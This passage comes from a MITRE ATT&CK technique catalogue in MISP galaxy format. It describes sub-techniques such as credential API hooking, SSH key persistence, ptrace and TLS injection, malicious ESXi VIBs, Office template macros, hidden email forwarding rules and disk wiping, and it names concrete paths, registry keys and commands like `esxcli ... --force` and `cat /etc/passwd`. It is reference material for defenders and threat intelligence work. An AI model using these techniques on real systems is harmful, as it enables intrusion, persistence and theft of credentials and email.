There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Web Session Cookie - T1550.004"*

Table 8297. Table References

Links
https://attack.mitre.org/techniques/T1550/004
https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
https://wunderwuzzi23.github.io/blog/passthecookie.html

Credential API Hooking - T1056.004

Adversaries may hook into Windows application programming interface (API) functions and Linux system functions to collect user credentials. Malicious hooking mechanisms may capture API or function calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials.

In Windows, hooking involves redirecting calls to these functions and can be implemented via:

- **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)
- **Import address table (IAT) hooking**, which use modifications to a process's IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)
- **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)

In Linux and macOS, adversaries may hook into system functions via the `LD_PRELOAD` (Linux) or `DYLD_INSERT_LIBRARIES` (macOS) environment variables, which enables loading shared libraries into a program's address space. For example, an adversary may capture credentials by hooking into the `libc read` function leveraged by SSH or SCP.(Citation: Intezer Symbiote 2022)

The tag is: *misp-galaxy:mitre-attack-pattern="Credential API Hooking - T1056.004"*

Table 8298. Table References

Links
http://www.gmer.net/
https://attack.mitre.org/techniques/T1056/004
https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/
https://github.com/jay/gethooks
https://github.com/prekageo/winhook
https://intezer.com/blog/research/new-linux-threat-symbiote/
https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx
https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx
https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis
https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html
https://www.adlice.com/userland-rootkits-part-1-iat-hooks/
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918
https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/
https://www.scribd.com/document/68671361/Inline-Hooking-in-Windows
https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/

SSH Authorized Keys - T1098.004

Adversaries may modify the SSH <code>authorized_keys</code> file to maintain persistence on a victim host. Linux distributions, macOS, and ESXi hypervisors commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The <code>authorized_keys</code> file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <code><user-home>/.ssh/authorized_keys</code> (or, on ESXi, `/etc/ssh/keys-<username>/authorized_keys`).(Citation: SSH Authorized Keys) Users may edit the system's SSH config file to modify the directives `PubkeyAuthentication` and `RSAAuthentication` to the value `yes` to ensure public key and RSA authentication are enabled, as well as modify the directive `PermitRootLogin` to the value `yes` to enable root authentication via SSH.(Citation: Broadcom ESXi SSH) The SSH config file is usually located under <code>/etc/ssh/sshd_config</code>.

Adversaries may modify SSH <code>authorized_keys</code> files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI's "add-metadata" command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add

Metadata)(Citation: Google Cloud Privilege Escalation) Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation: Azure Update Virtual Machines) This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm) It may also lead to privilege escalation where the virtual machine or instance has distinct permissions from the requesting user.

Where authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user.

SSH keys can also be added to accounts on network devices, such as with the `ip ssh pubkey-chain` [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) command.(Citation: cisco_ip_ssh_pubkey_ch_cmd)

The tag is: *misp-galaxy:mitre-attack-pattern="SSH Authorized Keys - T1098.004"*

Table 8299. Table References

Links
https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/
https://attack.mitre.org/techniques/T1098/004
https://cloud.google.com/sdk/gcloud/reference/compute/instances/add-metadata
https://docs.microsoft.com/en-us/rest/api/compute/virtual-machines/update
https://knowledge.broadcom.com/external/article/313767/allowing-ssh-access-to-vmware-vsphere-es.html
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/d1/sec-d1-cr-book/sec-cr-i3.html#wp1254331478
https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability
https://www.ssh.com/ssh/authorized_keys/
https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities

Terminal Services DLL - T1505.005

Adversaries may abuse components of Terminal Services to enable persistent access to systems. Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.(Citation: Microsoft Remote Desktop Services)

[Windows Service](https://attack.mitre.org/techniques/T1543/003)s that are run as a "generic" process (ex: <code>svchost.exe</code>) load the service's DLL file, the location of which is stored in a Registry entry named <code>ServiceDll</code>.(Citation: Microsoft System Services

Fundamentals) The <code>termsrv.dll</code> file, typically stored in `%SystemRoot%\System32\`, is the default <code>ServiceDll</code> value for Terminal Services in `HKLM\System\CurrentControlSet\services\TermService\Parameters\`.

Adversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts.(Citation: James TermServ DLL) Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal <code>termsrv.dll</code> functionality) as well as to simply enable abusable features of Terminal Services. For example, an adversary may enable features such as concurrent [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) sessions by either patching the <code>termsrv.dll</code> file or modifying the <code>ServiceDll</code> value to point to a DLL that provides increased RDP functionality.(Citation: Windows OS Hub RDP)(Citation: RDPWrap Github) On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created.

The tag is: *misp-galaxy:mitre-attack-pattern="Terminal Services DLL - T1505.005"*

Table 8300. Table References

Links
http://woshub.com/how-to-allow-multiple-rdp-sessions-in-windows-10/
https://attack.mitre.org/techniques/T1505/005
https://docs.microsoft.com/windows/win32/termserv/about-terminal-services
https://github.com/stascorp/rdpwrap
https://social.technet.microsoft.com/wiki/contents/articles/12229.windows-system-services-fundamentals.aspx
https://x.com/james_inthe_box/status/1150495335812177920

Thread Local Storage - T1055.005

Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process.

TLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process' memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="Thread Local Storage - T1055.005"*

Table 8301. Table References

Links
https://attack.mitre.org/techniques/T1055/005
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html

vSphere Installation Bundles - T1505.006

Adversaries may abuse vSphere Installation Bundles (VIBs) to establish persistent access to ESXi hypervisors. VIBs are collections of files used for software distribution and virtual system management in VMware environments. Since ESXi uses an in-memory filesystem where changes made to most files are stored in RAM rather than in persistent storage, these modifications are lost after a reboot. However, VIBs can be used to create startup tasks, apply custom firewall rules, or deploy binaries that persist across reboots. Typically, administrators use VIBs for updates and system maintenance.

VIBs can be broken down into three components:(Citation: VMware VIBs)

- VIB payload: a `.vgz` archive containing the directories and files to be created and executed on boot when the VIBs are loaded.
- Signature file: verifies the host acceptance level of a VIB, indicating what testing and validation has been done by VMware or its partners before publication of a VIB. By default, ESXi hosts require a minimum acceptance level of PartnerSupported for VIB installation, meaning the VIB is published by a trusted VMware partner. However, privileged users can change the default acceptance level using the `esxcli` command line interface. Additionally, VIBs are able to be installed regardless of acceptance level by using the <code> esxcli software vib install --force</code> command.
- XML descriptor file: a configuration file containing associated VIB metadata, such as the name of the VIB and its dependencies.

Adversaries may leverage malicious VIB packages to maintain persistent access to ESXi hypervisors, allowing system changes to be executed upon each bootup of ESXi – such as using `esxcli` to enable firewall rules for backdoor traffic, creating listeners on hard coded ports, and executing backdoors.(Citation: Google Cloud Threat Intelligence ESXi VIBs 2022) Adversaries may also masquerade their malicious VIB files as PartnerSupported by modifying the XML descriptor file.(Citation: Google Cloud Threat Intelligence ESXi VIBs 2022)

The tag is: *misp-galaxy:mitre-attack-pattern="vSphere Installation Bundles - T1505.006"*

Table 8302. Table References

Links
https://attack.mitre.org/techniques/T1505/006
https://blogs.vmware.com/vsphere/2011/09/whats-in-a-vib.html

https://cloud.google.com/blog/topics/threat-intelligence/esxi-hypervisors-malware-persistence

Ptrace System Calls - T1055.008

Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process.

Ptrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: <code>malloc</code>) then invoking that memory with <code>PTRACE_SETREGS</code> to set the register containing the next instruction to execute. Ptrace system call injection can also be done with <code>PTRACE_POKETEXT</code>/<code>PTRACE_POKEDATA</code>, which copy data to a specific address in the target processes' memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018)

Ptrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="Ptrace System Calls - T1055.008"*

Table 8303. Table References

Links
http://man7.org/linux/man-pages/man2/ptrace.2.html
http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
https://attack.mitre.org/techniques/T1055/008
https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf
https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be
https://www.gnu.org/software/acct/

Network Security Appliances - T1590.006

Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection

systems (NIDS) or other appliances related to defensive cybersecurity operations.

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).

The tag is: *misp-galaxy:mitre-attack-pattern="Network Security Appliances - T1590.006"*

Table 8304. Table References

Links
https://attack.mitre.org/techniques/T1590/006
https://nmap.org/book/firewalls.html

Network Device CLI - T1059.008

Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands.

Scripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).

Adversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.(Citation: Cisco Synful Knock Evolution)

The tag is: *misp-galaxy:mitre-attack-pattern="Network Device CLI - T1059.008"*

Table 8305. Table References

Links
https://attack.mitre.org/techniques/T1059/008
https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
https://tools.cisco.com/security/center/resources/integrity_assurance.html#23

Local Email Collection - T1114.001

Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user's local system, such as Outlook storage or cache files.

Outlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\Users\<username>\Documents\Outlook Files` or `C:\Users\<username>\AppData\Local\Microsoft\Outlook`.(Citation: Microsoft Outlook Files)

The tag is: *misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001"*

Table 8306. Table References

Links
https://attack.mitre.org/techniques/T1114/001
https://practical365.com/clients/office-365-proplus/outlook-cached-mode-ost-file-sizes/
https://support.office.com/en-us/article/introduction-to-outlook-data-files-pst-and-ost-222eaf92-a995-45d9-bde2-f331f60e2790

Remote Email Collection - T1114.002

Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords.

The tag is: *misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002"*

Table 8307. Table References

Links
https://attack.mitre.org/techniques/T1114/002

Compiled HTML File - T1218.001

Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)

A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1218.001"*

Table 8308. Table References

Links
https://attack.mitre.org/techniques/T1218/001
https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk
https://msdn.microsoft.com/windows/desktop/ms524405
https://msdn.microsoft.com/windows/desktop/ms644670
https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625

Email Forwarding Rule - T1114.003

Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim's organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)

Any user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)

In some environments, administrators may be able to enable email forwarding rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to enable forwarding on all

or specific mail an organization receives.

The tag is: *misp-galaxy:mitre-attack-pattern="Email Forwarding Rule - T1114.003"*

Table 8309. Table References

Links
https://attack.mitre.org/techniques/T1114/003
https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/
https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/
https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules
https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac
https://www.us-cert.gov/ncas/alerts/TA18-086A

Overwrite Process Arguments - T1036.011

Adversaries may modify a process's in-memory arguments to change its name in order to appear as a legitimate or benign process. On Linux, the operating system stores command-line arguments in the process's stack and passes them to the `main()` function as the `argv` array. The first element, `argv[0]`, typically contains the process name or path - by default, the command used to actually start the process (e.g., `cat /etc/passwd`). By default, the Linux `/proc` filesystem uses this value to represent the process name. The `/proc/<PID>/cmdline` file reflects the contents of this memory, and tools like `ps` use it to display process information. Since arguments are stored in user-space memory at launch, this modification can be performed without elevated privileges.

During runtime, adversaries can erase the memory used by all command-line arguments for a process, overwriting each argument string with null bytes. This removes evidence of how the process was originally launched. They can then write a spoofed string into the memory region previously occupied by `argv[0]` to mimic a benign command, such as `cat resolv.conf`. The new command-line string is reflected in `/proc/<PID>/cmdline` and displayed by tools like `ps`.(Citation: Sandfly BPFDoor 2022)(Citation: Microsoft XorDdos Linux Stealth 2022)

The tag is: *misp-galaxy:mitre-attack-pattern="Overwrite Process Arguments - T1036.011"*

Table 8310. Table References

Links
https://attack.mitre.org/techniques/T1036/011
https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/
https://www.microsoft.com/en-us/security/blog/2022/05/19/rise-in-xorddos-a-deeper-look-at-the-stealthy-ddos-malware-targeting-linux-devices/

Ptrace System Calls - T1631.001

Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process.

Ptrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (e.g., by using `malloc`) then invoking that memory with `PTRACE_SETREGS` to set the register containing the next instruction to execute. Ptrace system call injection can also be done with `PTRACE_POKETEXT` /`PTRACE_POKEDATA`, which copy data to a specific address in the target process's memory (e.g., the current address of the next instruction).(Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018)

Ptrace system call injection may not be possible when targeting processes with high-privileges, and on some systems those that are non-child processes.(Citation: BH Linux Inject)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="Ptrace System Calls - T1631.001"*

Table 8311. Table References

Links
http://man7.org/linux/man-pages/man2/ptrace.2.html
https://attack.mitre.org/techniques/T1631/001
https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf
https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be

Office Template Macros - T1137.001

Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)

Office Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation:

GlobalDotName Jun 2019)

Word Normal.dotm location:
 <code>C:\Users<username>\AppData\Roaming\Microsoft\Templates\Normal.dotm</code>

Excel Personal.xlsb location:
 <code>C:\Users<username>\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB</code>

Adversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under <code>C:\Program Files (x86)\Microsoft Office\root\Office16\</code>, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019)

An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.

The tag is: *misp-galaxy:mitre-attack-pattern="Office Template Macros - T1137.001"*

Table 8312. Table References

Links
http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/
https://attack.mitre.org/techniques/T1137/001
https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/
https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746
https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943
https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office
https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea
https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique

System Language Discovery - T1614.001

Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check)

There are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. Specific checks will vary based on the target and/or adversary, but

may involve behaviors such as [Query Registry](https://attack.mitre.org/techniques/T1012) and calls to [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: CrowdStrike Ryuk January 2019)

For example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language</code> or parsing the outputs of Windows API functions <code>GetUserDefaultUILanguage</code>, <code>GetSystemDefaultUILanguage</code>, <code>GetKeyboardLayoutList</code> and <code>GetUserDefaultLangID</code>.(Citation: Darkside Ransomware Cybereason)(Citation: Securelist JSWorm)(Citation: SecureList SynAck Doppelgänging May 2018)

On a macOS or Linux system, adversaries may query <code>locale</code> to retrieve the value of the <code>$LANG</code> environment variable.

The tag is: *misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001"*

Table 8313. Table References

Links
https://attack.mitre.org/techniques/T1614/001
https://securelist.com/evolution-of-jsworm-ransomware/102428/
https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/
https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/
https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware
https://www.welivesecurity.com/2009/01/15/malware-trying-to-avoid-some-countries/

Transmitted Data Manipulation - T1641.001

Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity. By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, or decision making.

Manipulation may be possible over a network connection or between system processes where there is an opportunity to deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system, typically gained through a prolonged information gathering campaign, in order to have the desired impact.

One method to achieve [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1641/001) is by modifying the contents of the device clipboard. Malicious applications may monitor clipboard activity through the `ClipboardManager.OnPrimaryClipChangedListener` interface on Android to determine when clipboard contents have changed. Listening to clipboard activity, reading clipboard contents, and modifying clipboard contents requires no explicit application permissions and can be performed by applications running in the background. However, this behavior has

changed with the release of Android 10.

Adversaries may use [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1641/001) to replace text prior to being pasted. For example, replacing a copied Bitcoin wallet address with a wallet address that is under adversarial control.

[Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1641/001) was seen within the Android/Clipper.C trojan. This sample was detected by ESET in an application distributed through the Google Play Store targeting cryptocurrency wallet numbers.(Citation: ESET Clipboard Modification February 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1641.001"*

Table 8314. Table References

Links
https://attack.mitre.org/techniques/T1641/001
https://www.eset.com/uk/about/newsroom/press-releases/first-clipper-malware-discovered-on-google-play-1/

Dead Drop Resolver - T1481.001

Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.

Popular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis, or enable operational resiliency (since this infrastructure may be dynamically changed).

The tag is: *misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1481.001"*

Table 8315. Table References

Links
https://attack.mitre.org/techniques/T1481/001

Security Software Discovery - T1418.001

Adversaries may attempt to get a listing of security applications and configurations that are installed on a device. This may include things such as mobile security products. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1418/

001) during automated discovery to shape follow-on behaviors, including whether or not to fully infect the target and/or attempt specific actions.

The tag is: *misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1418.001"*

Table 8316. Table References

Links
https://attack.mitre.org/techniques/T1418/001
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-12.html

Disk Content Wipe - T1561.001

Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.

Adversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have also been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files.

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)

The tag is: *misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1561.001"*

Table 8317. Table References

Links
https://attack.mitre.org/techniques/T1561/001
https://docs.microsoft.com/sysinternals/downloads/sysmon
https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf
https://web.archive.org/web/20160303200515/https:/operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf

https://www.justice.gov/opa/press-release/file/1092091/download

Security Software Discovery - T1518.001

